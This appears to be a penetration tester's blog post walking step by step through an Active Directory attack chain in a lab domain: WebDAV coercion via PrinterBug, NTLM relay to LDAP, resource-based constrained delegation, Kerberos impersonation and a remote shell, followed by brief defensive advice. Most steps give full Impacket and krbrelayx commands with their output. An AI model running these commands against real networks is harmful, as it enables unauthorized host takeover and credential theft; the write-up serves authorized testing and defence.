← Back to blog

My Favorite Attack Chains: WebClient + RBCD for Host Compromise

11 min read

There are so many great/fun attack chains in Active Directory environments. One of my favorites is using the WebClient service to pull off a Resource-Based Constrained Delegation (RBCD) for targeted host compromise. This is a clean, reliable attack chain I run into all the time, and the best part is that it's built entirely on default behavior. Just AD doing what AD does.

Let’s walk through it. This attack chain assumes we have already compromised a user account through some means that we won't cover here, or the client has provided a set of standard domain user credentials for assumed breach-style testing.


Step 0 – Prereqs: WebClient Running + ms-DS-MachineAccountQuota > 0

Before getting to the fun stuff, I have to check if the conditions for the attack even exist. These include:

  1. The ms-DS-MachineAccountQuota is set to the default of 10, or something greater than 0, so I can create an attacker-controlled machine account.

You can use NetExec or other tools for this. I made a little utility with a Python and Windows executable (mainly for when testing from a client's Windows workstation) version to check this quickly:

$ python3 checkmaq.py -u lowpriv -p <REDACTED> -d prysm.ad -dn "DC=prysm,dc=ad"

[+] ms-DS-MachineAccountQuota: 10
  1. Next, if the WebClient service isn't running on any machines with the target scope, this whole attack chain dies early.

I’ll use Hackndo’s WebClientServiceScanner to enumerate hosts in the domain that have the WebClient service running.

$ webclientservicescanner PRYSM.ad/'lowpriv'@PRYSM_IPT_live  | grep RUNNING

Password:

[192.168.200.37] RUNNING
[192.168.200.13] RUNNING
[192.168.200.19] RUNNING
[192.168.200.16] RUNNING
[192.168.200.56] RUNNING
[192.168.200.42] RUNNING
[192.168.200.124] RUNNING
[192.168.200.126] RUNNING
[192.168.200.50] RUNNING

In this lab example, multiple hosts came back as RUNNING, which is not uncommon. Sometimes I see none, but typically at least a handful. Occasionally, I come back with a jackpot of 20+ hosts, which gives me many potential targets I could ideally obtain local admin rights on.

The WebClient service is required for WebDAV. WebDAV can be abused to coerce HTTP authentication, which can then be relayed. More on that later. I typically see this on workstations, but I occasionally see it on servers. Once I have a list, I'll grab the host names and check in BloodHound to see if any have admin users logged in or any look particularly juicy from the host name. Other times, the hostnames are non-descript like LPT-0130, so at this point, it's just pick a random one for the first attack.


Attack Chain Overview

Here’s what we’re building toward:

  1. Ensure the MachineAccountQuota allows us to create a malicious computer account
  2. Identify WebClient-enabled hosts.
  3. Create a DNS record to support WebDAV auth.
  4. Create a machine account we control.
  5. Coerce authentication (PrinterBug).
  6. Relay to LDAP.
  7. Modify delegation (RBCD).
  8. Impersonate a privileged user on a specific host.
  9. Gain local admin and pivot, or sometimes pillage credentials, right to Domain Admin.

It's not an overly complex attack, but it is multi-step and can get a bit tedious, especially when doing it 10+ times in a single engagement, hunting for some sort of buried treasure you can use to further access.

It's actually a very methodical attack chain. Here’s what that looks like visually:

[Attacker Box]
      |
      | 1. Check ms-DS-MachineAccountQuota > 0
      |    (Can low-priv domain users create machine accounts?)
      v
[Enumeration]
      |
      | 2. Scan for Hosts w/ WebClient + Spooler
      v
[Setting the Stage - ADIDNS Record]
      |
      | 3. Create Malicious DNS Record (ADIDNS)
      |    Hostname → Attacker IP
      v
[Setting the Stage - Machine Account]
      |
      | 4. Create Attacker-Controlled Machine Account
      |    
      v
[Attack Host Listener]
      |
      | 5. Start listener
      v
[Coerced Auth]
      |
      | 6. Coerce Authentication (PrinterBug)
      v
[Relaying Auth]
      |
      | 7. Relay coerced NTLM auth to LDAP 
      v
[Setting RBCD]
      |
      | 8. Modify Delegation (RBCD)
      |    Grant the attacker-controller computer account rights over TargetHost$
      v
[User Impersonation]
      |
      | 9. S4U2Self + S4U2Proxy
      |    Impersonate Privileged User
      v
[Kerberos Service Ticket]
      |
      | 10. Use Ticket (-k, no-pass)
      v
[Local Admin Access on Target Host]
      |
      | 11. Enumerate / Pillage / Pivot / Lateral Movement
      v
[Lateral Movement/Domain Compromise]

The goal of the RBCD attack is to obtain local admin rights on a target computer. The WebClient service can be leveraged to trigger WebDAV HTTP authentication from a remote host using multiple methods (e.g., PrinterBug/PetitPotam/WPAD poisoning/DCOM), which can be relayed to the LDAP service and used for further exploitation. We'll use the PrinterBug in this example.


Step 1 – Make WebDav Happy (DNS Record)

By default, WebDAV will not transmit credentials when the attacker uses an IP address. To solve this issue, we must create a DNS record in ADIDNS by abusing default overly permissive DACLs. This record points to the attacker's host. Creating a record in ADIDNS is the default behavior, which I have rarely seen locked down.

$ python3 /opt/krbrelayx/dnstool.py -u prysm.ad\\'lowpriv' -p '<CLEARTEXT PASSWORD REDACTED>' -a add -r pt001.prysm.ad -d 10.200.30.5 192.168.200.15

[-] Connecting to host...
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Now I’ve got a legitimate-looking hostname in the domain that resolves to my machine.


Step 2 – Create a Machine Account

As we know, domain users can create machine accounts by default (MachineAccountQuota = 10). We'll create a computer account that can be used in this attack and may come in handy for further attacks. This can be done in a few ways; I'll use addcomputer.py from the Impacket toolkit.

$ addcomputer.py -method SAMR -computer-pass C0MP_Str0ngp@ss! -computer-name PPHPGBZR prysm.ad/lowpriv -dc-ip 192.168.200.15

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Successfully added machine account PPHPGBZR$ with password C0MP_Str0ngp@ss!

Now I have a computer account and password that I control and will be used for impersonation in a later step.


Step 3 – Coerce Authentication (PrinterBug)

After adding a DNS record to ADIDNS and a new computer account, I can trigger HTTP authentication using the PrinterBug and, if all goes well, successfully relay this authentication attempt to the LDAP service on a domain controller to grant the attacker-controlled computer account created earlier delegation rights over the target host.

The spooler service includes functionality that allows an RPC call to trigger authentication, and the PrinterBug is one way to abuse this. The PrinterBug abuses intentional Microsoft functionality in the spooler service, allowing an attacker with control over a domain user or computer to leverage an RPC call and trigger a target host’s spooler service. Using this RPC call, the attacker can coerce the target to authenticate to a host under the attacker's control. The PrinterBug can be leveraged to relay credentials to other hosts/services, steal authentication information, or be combined with other attacks, such as the RBCD or Shadow Credentials attack, when the credentials obtained from a coerced authentication request are relayed to another host.

$ python3 /opt/krbrelayx/printerbug.py prysm.ad/'lowpriv'@192.168.200.50 pt001@80/test

[*] Impacket v0.12.0.dev1+20240723.121155.ff1725ac - Copyright 2024 Fortra

Password:
[*] Attempting to trigger authentication via rprn RPC at 192.168.200.50
[*] Bind OK
[*] Got handle
 [*] Triggered RPC backconnect, this may or may not have worked 

If successful, the target host authenticates back to my listener over HTTP.

That’s the moment everything shifts.


Step 4 – Relay to LDAP and Grant Delegation (RBCD)

If the coerced authentication was successful, I'll get a hit in ntlmrelay.py, and my attacker-controlled machine account now has delegation rights over the target host.

$ sudo ntlmrelayx.py -t ldap://192.168.200.15--escalate-user PPHPGBZR$ --delegate-access --no-validate-privs --no-dump --no-raw-server --no-wcf-server

Impacket v0.12.0.dev1+20240723.121155.ff1725ac - Copyright 2024 Fortra                                                                   
<SNIP>                                                                                                        
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80

[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 192.168.200.50 controlled, attacking target ldap://10.202.32.50
[*] HTTPD(80): Authenticating against ldap://192.168.200.15 as PRYSM/VDI-LPADMIN$ SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Querying domain security descriptor
[*] All targets processed!
[*] HTTPD(80): Connection from 192.168.200.50 controlled, but there are no more targets left!
[*] Delegation rights modified succesfully!
[*] PPHPGBZR$ can now impersonate users on VDI-LPADMIN$ via S4U2Proxy
[*] All targets processed!
[*] HTTPD(80): Connection from 192.168.200.50 controlled, but there are no more targets left!
[*] All targets processed!
[*] HTTPD(80): Connection from 192.168.200.50 controlled, but there are no more targets left

This was successful, and I can now impersonate any user to that host via S4U2Self and S4U2Proxy. It is important to note that I only now have these rights over the targeted host, not everywhere in the domain (and I am not going to become Domain Admin in the next step), which is often enough.


Step 5 – Impersonate a Privileged User

Now I can request a Kerberos service ticket for something useful on the target by impersonating a Domain Admin or similar, usually the CIFS service, which grants local admin access to the target.

$ getST.py -spn cifs/vdi-lpadmin.prysm.ad -impersonate COMMVAULTSVC prysm.ad/PPHPGBZR$:'<CLEARTEXT PASSWORD REDACTED> -dc-ip 192.168.200.15

Impacket v0.12.0.dev1+20240723.121155.ff1725ac - Copyright 2024 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating COMMVAULTSVC 
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in COMMVAULTSVC @cifs_vdi-lpadmin.prysm.ad@prysm.ad.ccache 

This gives me a Kerberos service ticket impersonating a privileged account, but, as mentioned before, it does not make me a Domain Admin domain-wide; rather, it grants me that user's rights to that specific service on that specific host.


Step 6 – Use the Ticket

Next, we assign the .ccache file for the TGT ticket to the KRB5CCNAME environment variable. This is done so the ticket can be used by tools that support Kerberos authentication from a Linux host.

$ export KRB5CCNAME=COMMVAULTSVC @cifs_vdi-lpadmin.prysm.ad@prysm.ad.ccache

We can now connect to the target host using Kerberos authentication. In this example, we can see that what appears to be a Domain Admin user is logged in. We could then take this further by impersonating this logged-in user, coercing authentication on their behalf, and relaying this authentication to grant our attacker-controlled computer account DCSync privileges and grab the NTDS.

$ wmiexec.py -k -no-pass prysm.ad/COMMVAULTSVC@vdi-lpadmin.prysm.ad
                              
Impacket v0.12.0.dev1+20240723.121155.ff1725ac - Copyright 2024 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\> query user

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 pr076a-da

If we don't get lucky with a privileged user logged in, we're still on the box and can start looking for:

  • Cached credentials
  • Backup software service accounts
  • Hardcoded passwords in scripts
  • Shares with sensitive data
  • My personal favorite, compromising a developer workstation and finding a treasure trove of secrets, especially if they are saving credentials in a browser such as Chrome.

In some environments, this exact attack chain lands me on a host where a Domain Admin is actively logged in, and I can quickly turn it into a domain compromise. In others, it becomes a stepping stone to other attacks, or the attack chain may end there, with just 1 or a few compromised hosts. Regardless, it's still important to thoroughly enumerate the compromised host(s) to clearly demonstrate the impact.


Why I Love this Attack Chain

I love this attack chain because it shows how much power is sitting in defaults:

  • MachineAccountQuota > 0
  • WebClient enabled
  • Default ADIDNS configuration
  • Spooler service enabled and reachable
  • LDAP Signing/Channel Binding not enforced
  • Delegation loosely controlled

The attack is a bit long, but the payoff can be huge. It's not an exotic attack by any stretch of the imagination, just AD functioning (mostly) as intended.


Defensive Considerations

Some tips for cutting this attack chain off at the knees:

  • Set the MachineAccountQuota to 0 unless required.
  • Disable the spooler service where possible.
  • Enforce LDAP signing and channel binding.
  • Monitor machine account creation.
  • Audit RBCD and delegation settings.
  • Review ADIDNS permissions.

This attack chain can be broken before it becomes a major issue by fixing a few foundational issues, the main one being setting the ms-DS-MachineAccountQuota to 0 and enforcing LDAP Signing/Channel Binding.

We're in 2026, and the foundational issues matter more than ever.